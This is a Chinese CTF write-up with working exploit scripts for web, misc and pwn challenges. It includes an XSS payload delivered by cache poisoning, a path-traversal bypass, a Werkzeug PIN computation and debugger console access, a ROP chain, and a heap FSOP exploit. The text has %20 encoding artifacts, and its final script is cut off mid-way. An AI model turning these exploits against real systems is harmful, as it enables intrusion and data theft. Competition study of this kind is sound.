第一届创宇杯网络安全技能大赛WP
赛查查
2026年9月21日 10:25
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
以下文章来源于玄网安全
,作者玄网安全 oPis
玄网安全
.
ctf竞赛交流,网络大臭虫一个
附件:http://opiscodex.xyz/profile.html
WEB:Ghost%20Loader
摘要
React%20Router%20Framework%20Mode%20的 X-React-Router-Prerender-Data 可伪造%20loader%20数据。利用该头把公开文章的 widgetBase 投毒到自己的%20widget%20pack,再举报帖子让管理员%20bot%20加载恶意模块,最后用%20admin%20身份访问 /admin/export?path=/flag。
解题过程
第%201%20步:功能面
登录后可创建%20widget%20pack,以%20ES%20module%20形式挂在:
/u/<username>/widgets/<name>/post-tools.js
文章页从%20loader%20数据里读 widgetBase,再插入:
<script type=\"module\" src=\"{widgetBase}/post-tools.js\"></script>
公开文章带 Cache-Control:%20public,%20s-maxage=60,缓存键不包含该请求头。登录用户可 POST%20/ui/report 让内部浏览器重开文章。/admin/export 仅%20admin%20可访问。
第%202%20步:伪造%20prerender%20数据并缓存投毒
GET%20/post/<slug>.data 返回完整%20loader%20JSON。把同样结构放进 X-React-Router-Prerender-Data,只改 routes/post.widgetBase 为自己的%20pack。服务端用这份数据渲染%20HTML,边缘缓存按%20URL%20存%2060%20秒。之后普通请求也会拿到被投毒的 <script%20type=\"module\">。
这是%20React%20Router%20CVE-2025-43865(GHSA-cpj6-fhp6-mr6j)在本题中的用法。
第%203%20步:bot%20XSS%20读%20flag
举报投毒后的%20slug。bot%20以%20admin%20cookie%20打开缓存页,执行恶意%20widget。先 GET%20/api/me 确认 role=admin,再请求 /admin/export?path=/flag。
不要让%20bot%20去导出当前投毒文章本身:/admin/export 会再开一轮浏览,碰到已投毒页面会递归把实例打挂。导出目标用 /flag,请求加 referrerPolicy:%20\"no-referrer\"。
import json,%20time,%20uuid,%20requests
BASE%20= \"http://challenge.xiaoyuyc.com:41132\"
USER%20= \"p\" +%20uuid.uuid4().hex[:8]
PASS%20= \"p\" +%20uuid.uuid4().hex[:8]
PACK%20= \"w\" +%20uuid.uuid4().hex[:6]
SLUG%20= \"ops-digest\"
s%20=%20requests.Session()
s.trust_env%20= False
s.post(BASE%20+ \"/ui/register\",%20data={\"username\":%20USER, \"password\":%20PASS},%20timeout=15)
token%20=%20s.get(BASE%20+ \"/api/me\",%20timeout=10).json()[\"collectorToken\"]
code%20= f\"\"\"
(async%20()%20=>%20{{
%20if%20(window.__p)%20return;%20window.__p%20=%201;
%20const%20send%20=%20(b)%20=>%20fetch(\"/collect/{token}\",%20{{
%20 %20method:%20\"POST\",%20headers:%20{{\"Content-Type\":%20\"text/plain\"}},%20body:%20b
%20}});
%20const%20grab%20=%20async%20(tag,%20url)%20=>%20{{
%20 %20const%20ac%20=%20new%20AbortController();
%20 %20const%20t%20=%20setTimeout(()%20=>%20ac.abort(),%202500);
%20 %20try%20{{
%20 %20 %20const%20r%20=%20await%20fetch(url,%20{{
%20 %20 %20 %20credentials:%20\"include\",
%20 %20 %20 %20referrerPolicy:%20\"no-referrer\",
%20 %20 %20 %20signal:%20ac.signal
%20 %20 %20}});
%20 %20 %20await%20send(tag%20+%20r.status%20+%20\":\"%20+%20(await%20r.text()).slice(0,%204000));
%20 %20}}%20catch%20(e)%20{{
%20 %20 %20await%20send(tag%20+%20\"ERR:\"%20+%20e);
%20 %20}}%20finally%20{{
%20 %20 %20clearTimeout(t);
%20 %20}}
%20}};
%20await%20grab(\"ME:\",%20\"/api/me\");
%20await%20grab(\"FLAG:\",%20\"/admin/export?path=/flag\");
}})();
\"\"\"
s.post(BASE%20+ \"/ui/widgets\",%20data={\"name\":%20PACK, \"code\":%20code},%20timeout=10)
data%20=%20s.get(f\"{BASE}/post/{SLUG}.data\",%20timeout=10).json()
data[\"loaderData\"][\"routes/post\"][\"widgetBase\"]%20= f\"/u/{USER}/widgets/{PACK}\"
payload%20=%20json.dumps(data,%20separators=(\",\", \":\"))
for _ in range(20):
%20 %20p%20=%20s.get(
%20 %20 %20 f\"{BASE}/post/{SLUG}\",
%20 %20 %20 %20headers={\"X-React-Router-Prerender-Data\":%20payload},
%20 %20 %20 %20timeout=15,
%20 %20)
%20 if f\"/u/{USER}/widgets/{PACK}/post-tools.js\" in p.text:
%20 %20 %20 break
%20 %20time.sleep(5)
else:
%20 raise SystemExit(\"cache%20poison%20failed\")
s.post(BASE%20+ \"/ui/report\",%20data={\"slug\":%20SLUG},%20timeout=15)
for _ in range(20):
%20 %20time.sleep(2)
%20 %20body%20=%20s.get(f\"{BASE}/collect/{token}\",%20timeout=10).text
%20 if \"flag{\" in body:
%20 %20 %20 %20print(body)
%20 %20 %20 break
验证输出:
ME:200:{\"username\":\"admin\",\"role\":\"admin\",\"collectorToken\":\"...\"}
FLAG:200:flag{a4c9548c-dd6a-4b58-9947-d7b2434e7e85}
WEB2:Hackers%20Blog
目录扫描
http://challenge.xiaoyuyc.com:39232//admin/
script>
%20 %20 %20 function refreshCaptcha()%20{
%20 %20 %20 %20 %20 %20document.getElementById('captcha_img').src%20= 'captcha.php?' +%20Math.random();
%20 %20 %20 %20}
%20 %20 %20 %20async function doLogin()%20{
%20 %20 %20 %20 %20 %20const%20username%20=%20document.getElementById('username').value;
%20 %20 %20 %20 %20 %20const%20password%20=%20document.getElementById('password').value;
%20 %20 %20 %20 %20 %20const%20captcha%20=%20document.getElementById('captcha').value;
%20 %20 %20 %20 %20 %20const%20msgBox%20=%20document.getElementById('message');
%20 %20 %20 %20 %20 if (!username%20||%20!password%20||%20!captcha)%20{
%20 %20 %20 %20 %20 %20 %20 %20msgBox.textContent%20= \"所有字段均为必填!\";
%20 %20 %20 %20 %20 %20 %20 %20msgBox.style.color%20= \"#e74c3c\";
%20 %20 %20 %20 %20 %20 %20 return;
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 %20try%20{
%20 %20 %20 %20 %20 %20 %20 %20const%20response%20=%20await%20fetch('login.php',%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20method: 'POST',
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20headers:%20{ 'Content-Type': 'application/json' },
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20body:%20JSON.stringify({%20username,%20password,%20captcha%20})
%20 %20 %20 %20 %20 %20 %20 %20});
%20 %20 %20 %20 %20 %20 %20 %20const%20result%20=%20await%20response.json();
%20 %20 %20 %20 %20 %20 %20 if (result.status%20=== true)%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20document.cookie%20= \"admin_auth=true;%20path=/\";
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20msgBox.style.color%20= \"#2ecc71\";
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20msgBox.textContent%20= \"登录成功,正在跳转...\";
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20setTimeout(()%20=>%20{
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20window.location.href%20= 'home.php';
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20},%20500);
%20 %20 %20 %20 %20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20msgBox.style.color%20= \"#e74c3c\";
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20msgBox.textContent%20=%20result.msg;
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20refreshCaptcha();
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20document.getElementById('captcha').value%20= '';
%20 %20 %20 %20 %20 %20 %20 %20}
%20 %20 %20 %20 %20 %20}%20catch%20(error)%20{
%20 %20 %20 %20 %20 %20 %20 %20msgBox.textContent%20= \"请求服务器失败,请检查网络\";
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20}
%20 %20</script>
登录成功后,前端仅通过%20document.cookie%20= \"admin_auth=true\" 设置了一个明文%20Cookie%20作为认证凭证。服务端只检查这个%20Cookie%20是否存在且值为 true,没有任何%20Session%20或%20Token%20验证。
下载功能
在后台「系统维护」页面中发现一个文件下载功能:
测试发现可以下载%20download.php``在下时%20admin_auth=true%20不能少
<?php
session_start();
require_once%20__DIR__%20. '/../config.php';
if (!isset($_COOKIE['admin_auth'])%20|| $_COOKIE['admin_auth']%20!== 'true')%20{
%20 %20header(\"HTTP/1.1%20403%20Forbidden\");
%20 %20die(\"Permission%20Denied.\");
}
$file = $_GET['file']%20?? '';
if (empty($file))%20{
%20 %20die(\"Parameter%20'file'%20is%20missing.\");
}
if (strpos($file, '../')%20!== false)%20{
%20 echo \"哎哟%20被过滤了\";
%20 $file =%20str_replace('../', '', $file);
}
$filepath =%20__DIR__%20. '/' . $file;
if (!file_exists($filepath))%20{
%20 %20die(\"File%20not%20found.\");
}
header(\"Content-Type:%20application/octet-stream\");
header(\"Content-Disposition:%20attachment;%20filename=\" .%20basename($filepath));
readfile($filepath);
?>
输入:%20 ....//%20检测:%20 strpos%20找到%20'../'%20→%20触发替换%20替换:%20 str_replace('../',%20'',%20'....//')%20 %20 %20 %20 找到位置%20[2,3,4]%20的%20'../'%20并移除%20 %20 %20 %20 剩余:%20'..'%20+%20'/'%20=%20'../'%20结果:%20 成功得到%20'../',过滤被绕过!
Flag%20文件位于%20/admin/%20目录下。由于%20download.php%20的基准路径是%20__DIR__(即%20/admin/),直接读取:
curl%20-s%20-b \"admin_auth=true\" \\
\"view-source:http://challenge.xiaoyuyc.com:39232/admin/download.php?file=....//....//....//....//flag\"
哎哟%20被过滤了flag{51ffe3ae-9152-4bde-9b1e-9e32f4c8d4df}
WEB3:PyBundlePin
摘要
Flask%20应用把%20Werkzeug%20debugger%20PIN%20当成控制台口令,并把 /proc``/etc``/sys 以符号链接放进%20signed%20bundle。/bundle/index 泄漏 APP_SALT,ticket%20算法可本地伪造,读出%20PIN%20材料后算出%209%20位%20PIN,再 POST%20/console 取%20flag。
实例入口形如 http://challenge.xiaoyuyc.com:<PORT>(动态端口,下文用 BASE 表示)。
解题过程
页面写明%20Source%20is%20provided,实际源码不在静态路由,而在%20bundle%20的 diag/proc/self/cwd/。公开%20index%20只列出 notes/*.txt。
漏洞%201:ticket%20可伪造(盐值泄漏%20+%20SHA1%20截断)
位置:app.py 中 make_ticket(),以及 /bundle/index、/bundle/read。
触发: 访问 /bundle/index 即可拿到 bundle_salt(即环境变量 APP_SALT)。任意相对路径只要用同一算法签名,就能通过 /bundle/read 的%20ticket%20校验。
成因: 签名为 sha1(f\"{APP_SALT}|{normalized_name}\")[:24]。盐值直接返回给未认证用户,没有%20HMAC%20密钥隔离。
影响: 可读取%20index%20未列出的%20bundle%20文件(隐藏目录 diag/)。
Payload%20/%20验证:
curl%20-s \"$BASE/bundle/index\"
#%20{\"bundle_salt\":\"...\",\"entries\":[{\"name\":\"notes/ops.txt\",...},%20...]}
python%20-%20<<'PY'
import%20hashlib
salt%20= \"PUT_SALT_HERE\"
name%20= \"notes/ops.txt\"
print(hashlib.sha1(f\"{salt}|{name}\".encode()).hexdigest()[:24])
PY
用算出的%20ticket%20读 notes/ops.txt,应返回原文,与%20index%20中官方%20ticket%20一致。
路径会先 posixpath.normpath 再签名校验:./notes/ops.txt、notes/ops.txt/. 只要规范化结果相同即可。规范化后跳出%20bundle%20根的路径会返回 bad%20ticket。
漏洞%202:隐藏%20diag%20目录%20+%20符号链接%20LFI
位置:seed_bundle()。
(BUNDLE_DIR%20/ \"diag\" / \"runtime\").mkdir(parents=True)
#%20...
for name,%20target in {\"proc\": \"/proc\", \"etc\": \"/etc\", \"sys\": \"/sys\"}.items():
%20 %20os.symlink(target,%20BUNDLE_DIR%20/ \"diag\" /%20name)
触发: 伪造%20ticket%20读取 diag/...。/bundle/index 只发布 notes/,但 diag/ 同样在 BUNDLE_DIR 内。
成因: 读文件只校验「相对路径%20+%20ticket」,不校验是否出现在%20index。diag/proc 等是指向宿主机伪文件系统的%20symlink。源码里 BLOCKED_PROC_PARTS%20=%20(\"/fd/\",%20\"/fdinfo/\",%20\"/root/\"),挡住%20fd%20劫持和 /proc/self/root,但 /proc/self/cwd、/proc/self/environ、/sys/class/net/*/address、/proc/sys/kernel/random/boot_id 可读。
影响: 任意读容器内大量敏感文件,包括应用源码和%20Werkzeug%20PIN%20私有比特。
Payload%20/%20验证:
GET%20/bundle/read?name=diag&ticket=<sha1(salt|diag)[:24]>
->%20{\"error\":\"directories%20are%20not%20previewable\"}%20 %20#%20目录存在
GET%20/bundle/read?name=diag/etc/hostname&ticket=...
->%20web2-xxxxxxxx
GET%20/bundle/read?name=diag/proc/self/cwd/app/app.py&ticket=...
->%20源码(预览截断%208192%20字节,size%20字段仍是全长)
漏洞%203:故意放置的%20traceback%20泄漏真实路径
位置:seed_bundle() 写入 diag/runtime/last_error.log。
error_log%20=%20(
%20 \"Traceback%20(most%20recent%20call%20last):\
\"
%20 f'%20 File%20\"{flask_app_module.__file__}\",%20line%201536,%20in%20__call__\
'
%20 %20...
%20 f'%20 File%20\"{Path(__file__).resolve()}\",%20line%20233,%20in%20warmup_bundle\
'
%20 %20...
)
触发: 读 diag/runtime/last_error.log。
成因: 不是真实崩溃日志,启动时用 flask.app.__file__ 和 Path(__file__).resolve() 拼出来,用来提示%20PIN%20的 mod.__file__ 与应用路径。
影响: 确认:
- Flask%20模块文件:
/usr/local/lib/python3.12/site-packages/flask/app.py - 应用文件:
/app/app/app.py - 入口:
gunicorn%20app.app:app(diag/proc/self/cmdline)
Payload%20/%20验证: 读该%20log,应看到上述两条 File%20\"...\" 路径。
漏洞%204:Werkzeug%20PIN%20材料可从%20diag%20拼齐
位置: 启动时 DEBUG_PIN,%20_%20=%20get_pin_and_cookie_name(app)(Werkzeug%203.1.8)。/console 用该%20PIN%20做口令,限速%205%20次%20/%2060%20秒,但限速%20key%20吃 X-Forwarded-For。
触发: 读%20PIN%20输入材料,本地按官方算法生成%209%20位%20PIN,再 POST%20/console。
成因: PIN%20由%20public%20bits%20+%20private%20bits%20的%20SHA1%20派生,材料全在伪文件系统里:
| 字段 | 取值 | 来源 |
|---|---|---|
| username | ctf |
diag/etc/passwd%20(uid%2010001) |
| modname | flask.app |
Flask%20类所在模块 |
app .__name__ |
Flask |
实例无 __name__,回落到类名 |
mod.__file__ |
/usr/local/lib/python3.12/site-packages/flask/app.py |
last\_error.log%20/%20requirements |
uuid.getnode() |
int(\"b68462a848cf\",%2016) |
diag/sys/class/net/eth0/address |
| machine-id | boot_id%20字符串 |
/etc/machine-id%20不存在;退回 diag/proc/sys/kernel/random/boot_id。cgroup%20为 0::/,rpartition(b\"/\")[2] 为空,不再追加 |
Werkzeug%203.1.8%20算法要点:对非空%20bit%20依次 sha1.update,再 cookiesalt + pinsalt,取 int(hex,16) 的十进制前%209%20位,按%203%20位分组。
影响: 离线算出%20PIN,绕过「禁止在线爆破」设计。
Payload%20/%20验证: PIN%20为 134-676-469。
curl%20-s%20-X%20POST \"$BASE/console\" \\
%20-H \"X-Forwarded-For:%201.2.3.4\" \\
%20--data \"pin=134-676-469&cmd=flag\"
返回:
<pre>flag{69e831a5-957c-4a2c-b9fe-0ffc37a6e49f}</pre>
MISC1:USB%20Keyboard%20HID
摘要
题目给出%20USB%20键盘流量 flag%20(1).pcapng。解析%20usbmon%20HID%20报告,模拟%20CapsLock、小键盘、Backspace%20和方向键后还原输入文本。
解题过程
第%201%20步:提取%20HID%20报告并模拟键盘输入
pcapng%20接口为%20Linux usbmon0。有效数据是设备%204、端点 0x81 的中断传输完成包(usbmon%20type C,xfer\_type 1),payload%20为%208%20字节%20HID%20键盘报告:
- 字节%200:修饰键(
0x02=%20Left%20Shift) - 字节%202–7:扫描码;
0x00为按键释放,忽略 0x39CapsLock%20切换大小写0x59–0x62小键盘数字,0x63小键盘小数点,0x58小键盘回车0x2aBackspace、0x50左方向键会改写已输入内容,必须按光标模拟,不能只拼接扫描码
脚本从给定%20pcapng%20读到最终%20flag:
#!/usr/bin/env%20python3
import re
import struct
from pathlib import Path
PCAP%20=%20Path(r\"C:\\Users\\34645\\Downloads\\flag%20(1).pcapng\")
HID%20=%20{
%20 0x04: \"a\", 0x05: \"b\", 0x06: \"c\", 0x07: \"d\", 0x08: \"e\", 0x09: \"f\",
%20 0x0a: \"g\", 0x0b: \"h\", 0x0c: \"i\", 0x0d: \"j\", 0x0e: \"k\", 0x0f: \"l\",
%20 0x10: \"m\", 0x11: \"n\", 0x12: \"o\", 0x13: \"p\", 0x14: \"q\", 0x15: \"r\",
%20 0x16: \"s\", 0x17: \"t\", 0x18: \"u\", 0x19: \"v\", 0x1a: \"w\", 0x1b: \"x\",
%20 0x1c: \"y\", 0x1d: \"z\", 0x1e: \"1\", 0x1f: \"2\", 0x20: \"3\", 0x21: \"4\",
%20 0x22: \"5\", 0x23: \"6\", 0x24: \"7\", 0x25: \"8\", 0x26: \"9\", 0x27: \"0\",
%20 0x28: \"\
\", 0x2c: \"%20\", 0x2d: \"-\", 0x2e: \"=\", 0x2f: \"[\", 0x30: \"]\",
%20 0x31: \"\\\\\", 0x33: \";\", 0x34: \"'\", 0x35: \"`\", 0x36: \",\", 0x37: \".\",
%20 0x38: \"/\", 0x54: \"/\", 0x55: \"*\", 0x56: \"-\", 0x57: \"+\", 0x58: \"\
\",
%20 0x59: \"1\", 0x5a: \"2\", 0x5b: \"3\", 0x5c: \"4\", 0x5d: \"5\", 0x5e: \"6\",
%20 0x5f: \"7\", 0x60: \"8\", 0x61: \"9\", 0x62: \"0\", 0x63: \".\",
}
SHIFT%20=%20str.maketrans(
%20 \"abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;',./\",
%20 \"ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\\\"<>?\",
)
def epb_packets(blob:%20bytes):
%20 %20off%20= 0
%20 while off%20+ 12 <=%20len(blob):
%20 %20 %20 %20btype,%20blen%20=%20struct.unpack_from(\"<II\",%20blob,%20off)
%20 %20 %20 if blen%20< 12 or off%20+%20blen%20>%20len(blob):
%20 %20 %20 %20 %20 break
%20 %20 %20 if btype%20== 6:
%20 %20 %20 %20 %20 %20caplen%20=%20struct.unpack_from(\"<I\",%20blob,%20off%20+ 20)[0]
%20 %20 %20 %20 %20 yield blob[off%20+ 28 :%20off%20+ 28 +%20caplen]
%20 %20 %20 %20off%20+=%20blen
def hid_reports(blob:%20bytes):
%20 for pkt in epb_packets(blob):
%20 %20 %20 if len(pkt)%20< 72:
%20 %20 %20 %20 %20 continue
%20 %20 %20 if chr(pkt[8])%20!= \"C\" or pkt[9]%20!= 1 or pkt[10]%20!= 0x81:
%20 %20 %20 %20 %20 continue
%20 %20 %20 yield pkt[64:72]
def decode(blob:%20bytes) ->%20str:
%20 %20buf,%20pos,%20caps,%20prev%20=%20[], 0, False,%20set()
%20 for report in hid_reports(blob):
%20 %20 %20 %20keys%20=%20[k for k in report[2:] if k]
%20 %20 %20 %20new_keys%20=%20[k for k in keys if k not in prev]
%20 %20 %20 %20prev%20=%20set(keys)
%20 %20 %20 %20shift%20=%20bool(report[0]%20& 0x22)
%20 %20 %20 for k in new_keys:
%20 %20 %20 %20 %20 if k%20== 0x39:
%20 %20 %20 %20 %20 %20 %20 %20caps%20= not caps
%20 %20 %20 %20 %20 elif k%20== 0x2a and pos%20> 0:
%20 %20 %20 %20 %20 %20 %20 del buf[pos%20- 1]
%20 %20 %20 %20 %20 %20 %20 %20pos%20-= 1
%20 %20 %20 %20 %20 elif k%20== 0x4c and pos%20<%20len(buf):
%20 %20 %20 %20 %20 %20 %20 del buf[pos]
%20 %20 %20 %20 %20 elif k%20== 0x50:
%20 %20 %20 %20 %20 %20 %20 %20pos%20=%20max(0,%20pos%20- 1)
%20 %20 %20 %20 %20 elif k%20== 0x4f:
%20 %20 %20 %20 %20 %20 %20 %20pos%20=%20min(len(buf),%20pos%20+ 1)
%20 %20 %20 %20 %20 else:
%20 %20 %20 %20 %20 %20 %20 %20ch%20=%20HID.get(k)
%20 %20 %20 %20 %20 %20 %20 if not ch:
%20 %20 %20 %20 %20 %20 %20 %20 %20 continue
%20 %20 %20 %20 %20 %20 %20 if shift:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20ch%20=%20ch.translate(SHIFT)
%20 %20 %20 %20 %20 %20 %20 elif caps and ch.isalpha():
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20ch%20=%20ch.upper()
%20 %20 %20 %20 %20 %20 %20 %20buf.insert(pos,%20ch)
%20 %20 %20 %20 %20 %20 %20 %20pos%20+= 1
%20 return \"\".join(buf)
text%20=%20decode(PCAP.read_bytes())
print(text)
m%20=%20re.search(r\"flag\\{[^}]+\\}\",%20text)
print(m.group(0) if m else \"flag%20not%20found\")
运行输出(截断前文):
Hello!%20Hacker,%20please%20keep%20this%20secret%20key%20safe%20and%20make%20sure%20it%20is%20not%20stolen%20by%20others.
key:flag{f871360f-c353-42da-a782-d5b8a252d1e4}
flag{f871360f-c353-42da-a782-d5b8a252d1e4}
输入过程中先打出 flag{} 和%20UUID,再用左方向键回到花括号内插入内容,最后用%20Backspace%20修正若干字符。
MISC2:薛定谔的猫
摘要
附件虽然命名为%20PDF,但文件头实际是%20PNG,PNG%20结束后还拼接了一个%20ZIP。ZIP%20的条目被设置了误导性的加密标志,直接用普通阅读器或解压工具会失败;手工读取%20raw-deflate%20数据后,从两个%20Base64%20片段中恢复完整%20flag。
解题过程
第%201%20步:识别文件类型并拆出%20ZIP
检查文件头发现没有 %PDF,而是%20PNG%20magic%20bytes:
89%2050%204e%2047%200d%200a%201a%200a
解析%20PNG%20chunk%20到 IEND,其结束偏移为 904295。紧接着的数据以 PK\\x03\\x04 开始,说明文件结构为:
PNG%20(904295%20bytes)%20||%20ZIP%20archive%20||%20EOCD%20后的附加数据
ZIP%20中的条目为 secret/Cat.png 和 secret/cat.txt。条目 general-purpose flag 设置了加密位,但数据本身是可直接解压的 raw-deflate 流;因此忽略该标志并从 local header 读取压缩数据。
第 2 步:提取两段 flag 并拼接
secret/Cat.png 中的文字提示打开 cat.txt。解压 cat.txt 后得到:
恭喜你拿到了老板的秘密,咦?........怎么只有一半!??
ZmxhZ3tlZmI3MjA0YS1hNGJlLTRiNWYtOTQ0OS01
第二行 Base64 解码为 flag 的前半段:
flag{efb7204a-a4be-4b5f-9449-5
继续检查 ZIP 的 EOCD。EOCD 后有一段额外 Base64:
Y2NkODBhZTMxNzl96L+Z5piv57uZ5L2g55qE54yr54yr55qEZmxhZw==
解码结果以 ccd80ae3179} 开头,后面的中文只是提示文本。因此取到 } 为止,并与前半段拼接。
完整复现脚本如下:
#!/usr/bin/env python3
import base64
import re
import struct
import sys
import zlib
from pathlib import Path
PNG = b\"\\x89PNG\\r\
\\x1a\
\"
LOCAL = b\"PK\\x03\\x04\"
EOCD = b\"PK\\x05\\x06\"
def find_png_end(data):
if not data.startswith(PNG):
raise ValueError(\"not a PNG/ZIP polyglot\")
pos = 8
while True:
size = struct.unpack_from(\">I\", data, pos)[0]
kind = data[pos + 4:pos + 8]
pos += 12 + size
if kind == b\"IEND\":
return pos
def read_entries(archive):
entries = {}
pos = 0
while archive[pos:pos + 4] == LOCAL:
fields = struct.unpack_from(\"<IHHHHHIIIHH\", archive, pos)
_, _, _, method, _, _, _, csize, _, nsize, xsize = fields
name_at = pos + 30
data_at = name_at + nsize + xsize
name = archive[name_at:name_at + nsize].decode()
if name.endswith(\"/\"):
entries[name] = b\"\"
else:
if method != 8:
raise ValueError(\"unexpected ZIP method\")
entries[name] = zlib.decompress(
archive[data_at:data_at + csize], -15
)
pos = data_at + csize
return entries
def solve(path):
data = Path(path).read_bytes()
archive = data[find_png_end(data):]
entries = read_entries(archive)
first_b64 = re.search(
rb\"[A-Za-z0-9+/=]{16,}\", entries[\"secret/cat.txt\"]
).group()
first = base64.b64decode(first_b64)
eocd = archive.rfind(EOCD)
comment_len = struct.unpack_from(\"<H\", archive, eocd + 20)[0]
tail = archive[eocd + 22 + comment_len:]
second_b64 = re.search(rb\"[A-Za-z0-9+/=]{16,}\", tail).group()
second = base64.b64decode(second_b64)
suffix = second[:second.index(b\"}\") + 1]
flag = (first + suffix).decode()
print(flag)
solve(sys.argv[1] if len(sys.argv) > 1 else r\"C:\\Users\\34645\\Downloads\\cat - 副本.pdf\")
运行结果:
flag{efb7204a-a4be-4b5f-9449-5ccd80ae3179}
pwn1:blindrop
摘要
32 位无 PIE 栈溢出服务。软件 canary 把函数参数与局部副本绑在一起,用同一 dword 同时当假 canary 和 ROP 返回地址,leak libc 后 system(\"/bin/sh\")。
解题过程
第 1 步:确认溢出与软件 canary
vuln() 中 read(0, buf, 0x400),buf 在 ebp-0x8c。返回地址在 +0x90。main 传入 expected=0xdcc82f00,函数把该值拷到 ebp-0xc;返回前比较两处,不等则 _exit(1)。溢出必须让 payload[0x80:0x84] == payload[0x94:0x98]。0x94 恰好是 ret 后的第一个栈槽,因此把它设成 ROP 的返回地址,并把同一值写进 +0x80。
远程:challenge.xiaoyuyc.com:29069,Ubuntu 22.04,libc libc6-i386_2.35-0ubuntu3.14。
#!/usr/bin/env python3
from pwn import *
elf = ELF(\"./blindrop\", checksec=False)
context.binary = elf
HOST, PORT = \"challenge.xiaoyuyc.com\", 29069
MAIN_LOOP = 0x80492F3
POP_EBX_RET = 0x8049022
PUTS_OFF, SYSTEM_OFF, BINSH_OFF = 0x72810, 0x47CD0, 0x1B90D5
def overflow(ret, after_ret):
fake = after_ret[0]
return (
b\"A\" * 0x80
+ p32(fake)
+ b\"B\" * 0xC
+ p32(ret)
+ b\"\".join(p32(x) for x in after_ret)
)
io = remote(HOST, PORT)
io.recvuntil(b\"payload> \")
io.send(overflow(elf.plt[\"write\"], [MAIN_LOOP, 1, elf.got[\"puts\"], 4]))
io.recvuntil(b\"canary check passed.\
\")
libc = u32(io.recvn(4)) - PUTS_OFF
io.recvuntil(b\"payload> \")
io.send(overflow(libc + SYSTEM_OFF, [POP_EBX_RET, libc + BINSH_OFF]))
io.recvuntil(b\"canary check passed.\
\")
io.sendline(b\"cat flag\")
print(io.recvall(timeout=2).decode(errors=\"replace\"))
Stage 1:write(1, puts@GOT, 4),返回 main+0x31 循环,该地址同时当假 canary。Stage 2:system(\"/bin/sh\"),返回 pop ebx; ret 当假 canary。
flag{c28ff07a-1ed2-4361-9c5e-d33fa150a474}
PWN2:vmpwn
摘要
自定义栈式 VM 的 SETREG 把寄存器号当有符号下标且无边界检查,可覆盖相邻的 funcs[] 函数指针并 CALL 到 win()。
解题过程
第 1 步:覆盖 funcs[0] 调用 win
run_vm 在栈上排布:regs[8]、funcs[2]、stack[16]、sp。funcs[0]=safe_fn,funcs[1]=exit0。win() 读 /flag 并写出。
opcode:1 PUSH imm64、2 SETREG r、3 GETREG r、4 CALL which(which<=1)、5 HALT。SETREG/GETREG 对下标做 movsx 后直接 regs[r],可写到 funcs[0](index 8)。CALL 只检查 which<=1,不检查指针内容。
#!/usr/bin/env python3
from pwn import *
elf = ELF(\"./vmpwn\", checksec=False)
context.binary = elf
HOST, PORT = \"challenge.xiaoyuyc.com\", 26244
PUSH, SETREG, CALL, HALT = 1, 2, 4, 5
code = bytes([PUSH]) + p64(elf.symbols[\"win\"]) + bytes([SETREG, 8, CALL, 0, HALT])
io = remote(HOST, PORT)
io.recvuntil(b\"len> \")
io.sendline(str(len(code)).encode())
io.recvuntil(b\"code> \")
io.send(code)
print(io.recvall(timeout=3).decode())
flag{ef2fa786-8080-4afb-bda8-da73c6170bc9}
PWN3:miao
摘要
NoteKeeper 堆笔记题。delete 不置空指针形成 UAF;glibc 2.35 下 unsorted leak + tcache poison _IO_list_all,House of Apple 2 在 exit 时 system(\" sh\")。
解题过程
第 1 步:UAF leak 后 FSOP
notes[16] 每项 {ptr, size}。delete 只 free(ptr),不 NULL。show/edit 仍可用。edit 还会 ptr[size]=0,必须按原 size 写满。
远程:challenge.xiaoyuyc.com:26575,libc Ubuntu GLIBC 2.35-0ubuntu3.8。unsorted fd 相对 libc 偏移 0x21ace0。tcache fd 经 safe-linking:fd = next ^ (chunk>>12)。
#!/usr/bin/env python3
from pwn import *
context.arch = \"amd64\"
elf = ELF(\"./miao\", checksec=False)
libc = ELF(\"./libc.so.6\", checksec=False)
PROMPT = b\">> \"
io = remote(\"challenge.xiaoyuyc.com\", 26575)
io.recvuntil(PROMPT)
def menu(c): io.sendlineafter(PROMPT, str(c).encode())
def add(sz, data):
menu(1); io.sendlineafter(b\"Size: \", str(sz).encode())
io.sendafter(b\"Content: \", data.ljust(sz, b\"\\x00\")[:sz])
def delete(i):
menu(2); io.sendlineafter(b\"Index: \", str(i).encode())
def show(i, n):
menu(3); io.sendlineafter(b\"Index: \", str(i).encode())
io.recvuntil(b\"Content: \"); return io.recvn(n)
def edit(i, data, sz):
menu(4); io.sendlineafter(b\"Index: \", str(i).encode())
io.sendafter(b\"Content: \", data.ljust(sz, b\"\\x00\")[:sz])
add(0x500, b\"A\"*8) # 0 unsorted
add(0x20, b\"C\"*8) # 1
add(0x20, b\"D\"*8) # 2 tcache head
add(0x20, b\"E\"*8) # 3
add(0x400, b\"B\"*8) # 4 fake FILE
add(0x20, b\"G\"*8) # 5 guard
delete(0)
libc.address = u64(show(0, 8)) - 0x21ACE0
delete(1)
page = u64(show(1, 8))
delete(2)
fd = u64(show(2, 8))
chunk1 = fd ^ page
chunk2 = chunk1 + 0x30
fp = chunk1 + 0x90
edit(2, p64(libc.sym._IO_list_all ^ (chunk2 >> 12)), 0x20)
wide_data, wide_vtable, lock = fp+0xE8, fp+0x200, fp+0x300
fake = bytearray(0x400)
def w(off, val, n=8): fake[off:off+n] = p64(val)[:n]
fake[0:8] = b\" sh\\x00\\x00\\x00\\x00\"
w(0x20, 0); w(0x28, 1); w(0x88, lock); w(0xA0, wide_data)
